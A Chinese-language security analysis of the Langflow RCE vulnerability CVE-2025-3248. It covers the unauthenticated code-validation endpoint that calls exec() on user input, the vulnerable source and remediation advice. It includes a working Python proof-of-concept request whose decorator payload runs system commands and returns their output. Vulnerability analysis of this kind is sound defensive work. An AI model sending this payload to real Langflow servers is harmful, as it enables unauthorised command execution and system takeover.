Langflow远程代码执行漏洞(CVE-2025-3248)分析报告<\/h1>

漏洞概述<\/h2>
CVE-2025-3248是Langflow平台中存在的一个高危远程代码执行(RCE)漏洞。Langflow是一个开源的AI工作流构建平台，允许用户通过可视化界面创建和管理AI驱动的自动化流程。该漏洞存在于代码验证功能中，攻击者无需任何身份验证即可通过精心构造的恶意请求在服务器上执行任意代码，完全控制系统。<\/p>

影响版本<\/h2>
Langflow 1.0.0至1.2.9的所有版本<\/p>

漏洞分析<\/h2>

漏洞位置<\/h3>
漏洞主要存在于两个关键文件中：<\/p>
langflow-1.2.0\/src\/backend\/base\/langflow\/api\/v1\/validate.py<\/code> - 路由处理文件<\/li>
langflow-1.2.0\/src\/backend\/base\/langflow\/utils\/validate.py<\/code> - 代码验证逻辑文件<\/li>
<\/ol>
漏洞成因<\/h3>


无身份验证<\/strong>：\/api\/v1\/validate\/code<\/code>接口未实施任何身份验证机制，允许任何用户（包括未认证用户）提交代码验证请求。<\/p>
<\/li>

直接执行用户代码<\/strong>：在validate_code<\/code>函数中，系统直接使用exec()<\/code>执行用户提供的代码，没有进行任何安全限制或沙箱隔离。<\/p>
<\/li>

完整调用链<\/strong>：<\/p>

用户提交代码 → 路由接收 → 直接传递给验证函数 → 解析AST → 执行代码 → 返回结果<\/li>
<\/ul>
<\/li>
<\/ol>
关键代码分析<\/h3>
路由处理代码 (validate.py<\/code>)<\/h4>
@router<\/span>.<\/span>post("\/code"<\/span>, status_code=<\/span>200<\/span>)
<\/span><\/span>async<\/span> def<\/span> post_validate_code<\/span>(code: Code) -><\/span> CodeValidationResponse:
<\/span><\/span>    try<\/span>:
<\/span><\/span>        errors =<\/span> validate_code(code.<\/span>code)
<\/span><\/span>        return<\/span> CodeValidationResponse(
<\/span><\/span>            imports=<\/span>errors.<\/span>get("imports"<\/span>, {}),
<\/span><\/span>            function=<\/span>errors.<\/span>get("function"<\/span>)
<\/span><\/span>    except<\/span> Exception<\/span> as<\/span> e:
<\/span><\/span>        logger.<\/span>opt(exception=<\/span>True<\/span>).<\/span>debug("Error validating code"<\/span>)
<\/span><\/span>        raise<\/span> HTTPException(status_code=<\/span>500<\/span>, detail=<\/span>str(e)) from<\/span> e
<\/span><\/span><\/code><\/pre>问题<\/strong>：<\/p>

直接接收用户提交的代码内容<\/li>
未进行任何输入过滤或身份验证<\/li>
直接将用户代码传递给validate_code<\/code>函数<\/li>
<\/ul>
代码验证逻辑 (validate.py<\/code>)<\/h4>
def<\/span> validate_code<\/span>(code):
<\/span><\/span>    # 初始化错误字典<\/span>
<\/span><\/span>    errors =<\/span> {"imports"<\/span>: {"errors"<\/span>: []}, "function"<\/span>: {"errors"<\/span>: []}}
<\/span><\/span>    
<\/span><\/span>    # 解析代码为AST<\/span>
<\/span><\/span>    try<\/span>:
<\/span><\/span>        tree =<\/span> ast.<\/span>parse(code)
<\/span><\/span>    except<\/span> Exception<\/span> as<\/span> e:
<\/span><\/span>        errors["function"<\/span>]["errors"<\/span>].<\/span>append(str(e))
<\/span><\/span>        return<\/span> errors
<\/span><\/span>    
<\/span><\/span>    # 处理导入语句<\/span>
<\/span><\/span>    for<\/span> node in<\/span> tree.<\/span>body:
<\/span><\/span>        if<\/span> isinstance(node, ast.<\/span>Import):
<\/span><\/span>            for<\/span> alias in<\/span> node.<\/span>names:
<\/span><\/span>                try<\/span>:
<\/span><\/span>                    importlib.<\/span>import_module(alias.<\/span>name)
<\/span><\/span>                except<\/span> ModuleNotFoundError<\/span> as<\/span> e:
<\/span><\/span>                    errors["imports"<\/span>]["errors"<\/span>].<\/span>append(str(e))
<\/span><\/span>    
<\/span><\/span>    # 验证函数定义<\/span>
<\/span><\/span>    for<\/span> node in<\/span> tree.<\/span>body:
<\/span><\/span>        if<\/span> isinstance(node, ast.<\/span>FunctionDef):
<\/span><\/span>            code_obj =<\/span> compile(ast.<\/span>Module(body=<\/span>[node], type_ignores=<\/span>[]), "<string>"<\/span>, "exec"<\/span>)
<\/span><\/span>            try<\/span>:
<\/span><\/span>                exec(code_obj)  # 关键漏洞点：直接执行用户代码<\/span>
<\/span><\/span>            except<\/span> Exception<\/span> as<\/span> e:
<\/span><\/span>                errors["function"<\/span>]["errors"<\/span>].<\/span>append(str(e))
<\/span><\/span>    
<\/span><\/span>    return<\/span> errors
<\/span><\/span><\/code><\/pre>问题<\/strong>：<\/p>

使用exec()<\/code>直接执行用户提供的代码<\/li>
虽然代码被解析为AST，但最终仍会被编译和执行<\/li>
没有限制可导入的模块或可执行的代码类型<\/li>
<\/ul>
漏洞利用<\/h2>
利用条件<\/h3>

目标系统运行Langflow 1.0.0至1.2.9版本<\/li>
攻击者能够访问Langflow的API接口（通常为7860端口）<\/li>
<\/ul>
POC (概念验证代码)<\/h3>
import<\/span> requests
<\/span><\/span>
<\/span><\/span>target =<\/span> "http:\/\/xxx.xxx.xxx.xxx:7860\/api\/v1\/validate\/code"<\/span>
<\/span><\/span>payload =<\/span> {
<\/span><\/span>    "code"<\/span>: "@exec('raise Exception(__import__(<\/span>\"<\/span>subprocess<\/span>\"<\/span>).check_output([<\/span>\"<\/span>id<\/span>\"<\/span>]))')<\/span>\n<\/span>def foo():<\/span>\n<\/span> pass"<\/span>
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>response =<\/span> requests.<\/span>post(target, json=<\/span>payload)
<\/span><\/span>print(response.<\/span>text)
<\/span><\/span><\/code><\/pre>POC说明<\/strong>：<\/p>

构造恶意代码，利用@exec<\/code>装饰器执行系统命令<\/li>
通过subprocess<\/code>模块调用系统命令（如id<\/code>）<\/li>
将命令输出作为异常信息返回<\/li>
<\/ol>
攻击场景<\/h3>

直接系统命令执行<\/strong>：攻击者可以执行任意系统命令，完全控制服务器<\/li>
敏感信息泄露<\/strong>：读取服务器上的配置文件、数据库凭证等<\/li>
横向移动<\/strong>：从被攻陷的服务器进一步攻击内网其他系统<\/li>
持久化后门<\/strong>：在服务器上安装后门或挖矿程序<\/li>
<\/ol>
修复建议<\/h2>
临时缓解措施<\/h3>

在网络层面限制对\/api\/v1\/validate\/code<\/code>接口的访问<\/li>
升级到已修复的版本（如果官方已发布补丁）<\/li>
<\/ol>
长期修复方案<\/h3>

添加身份验证<\/strong>：对代码验证接口实施严格的认证和授权机制<\/li>
沙箱执行<\/strong>：使用安全的沙箱环境（如PyPy沙箱、Docker容器）执行用户代码<\/li>
输入过滤<\/strong>：

限制可导入的模块（白名单机制）<\/li>
禁止危险的操作（如文件IO、子进程调用）<\/li>
<\/ul>
<\/li>
AST检查<\/strong>：在解析AST后，检查并阻止危险的节点类型<\/li>
权限降级<\/strong>：以低权限用户身份执行用户代码<\/li>
<\/ol>
代码修复示例<\/h3>
# 安全版本的validate_code函数示例<\/span>
<\/span><\/span>ALLOWED_IMPORTS =<\/span> ['math'<\/span>, 'datetime'<\/span>, 'json'<\/span>]  # 仅允许导入安全的模块<\/span>
<\/span><\/span>
<\/span><\/span>def<\/span> validate_code<\/span>(code):
<\/span><\/span>    errors =<\/span> {"imports"<\/span>: {"errors"<\/span>: []}, "function"<\/span>: {"errors"<\/span>: []}}
<\/span><\/span>    
<\/span><\/span>    try<\/span>:
<\/span><\/span>        tree =<\/span> ast.<\/span>parse(code)
<\/span><\/span>    except<\/span> Exception<\/span> as<\/span> e:
<\/span><\/span>        errors["function"<\/span>]["errors"<\/span>].<\/span>append("Code parsing error"<\/span>)
<\/span><\/span>        return<\/span> errors
<\/span><\/span>    
<\/span><\/span>    # 检查导入语句<\/span>
<\/span><\/span>    for<\/span> node in<\/span> tree.<\/span>body:
<\/span><\/span>        if<\/span> isinstance(node, ast.<\/span>Import):
<\/span><\/span>            for<\/span> alias in<\/span> node.<\/span>names:
<\/span><\/span>                if<\/span> alias.<\/span>name not<\/span> in<\/span> ALLOWED_IMPORTS:
<\/span><\/span>                    errors["imports"<\/span>]["errors"<\/span>].<\/span>append(f<\/span>"Import of <\/span>{<\/span>alias.<\/span>name}<\/span> is not allowed"<\/span>)
<\/span><\/span>    
<\/span><\/span>    # 不实际执行函数代码，仅检查语法<\/span>
<\/span><\/span>    for<\/span> node in<\/span> tree.<\/span>body:
<\/span><\/span>        if<\/span> isinstance(node, ast.<\/span>FunctionDef):
<\/span><\/span>            # 检查函数定义中是否有危险操作<\/span>
<\/span><\/span>            for<\/span> sub_node in<\/span> ast.<\/span>walk(node):
<\/span><\/span>                if<\/span> isinstance(sub_node, ast.<\/span>Call):
<\/span><\/span>                    # 检查是否调用了危险函数<\/span>
<\/span><\/span>                    if<\/span> isinstance(sub_node.<\/span>func, ast.<\/span>Name):
<\/span><\/span>                        if<\/span> sub_node.<\/span>func.<\/span>id in<\/span> ['eval'<\/span>, 'exec'<\/span>, 'open'<\/span>]:
<\/span><\/span>                            errors["function"<\/span>]["errors"<\/span>].<\/span>append(f<\/span>"Dangerous function call: <\/span>{<\/span>sub_node.<\/span>func.<\/span>id}<\/span>"<\/span>)
<\/span><\/span>    
<\/span><\/span>    return<\/span> errors
<\/span><\/span><\/code><\/pre>总结<\/h2>
CVE-2025-3248是一个典型的未授权远程代码执行漏洞，其危险性在于：<\/p>

无需任何身份验证即可利用<\/li>
能够完全控制系统<\/li>
利用简单，有公开的POC<\/li>
<\/ol>
开发者在实现代码验证功能时，必须谨慎处理用户提供的代码，避免直接执行。建议采用静态分析为主、沙箱执行为辅的安全策略，同时实施严格的身份验证和授权机制。<\/p>
Langflow远程代码执行漏洞(CVE-2025-3248)分析报告<\/h1>

影响版本<\/h2> Langflow 1.0.0至1.2.9的所有版本<\/p>

漏洞分析<\/h2>

关键代码分析<\/h3>

漏洞利用<\/h2>

修复建议<\/h2>

影响版本<\/h2>
Langflow 1.0.0至1.2.9的所有版本<\/p>
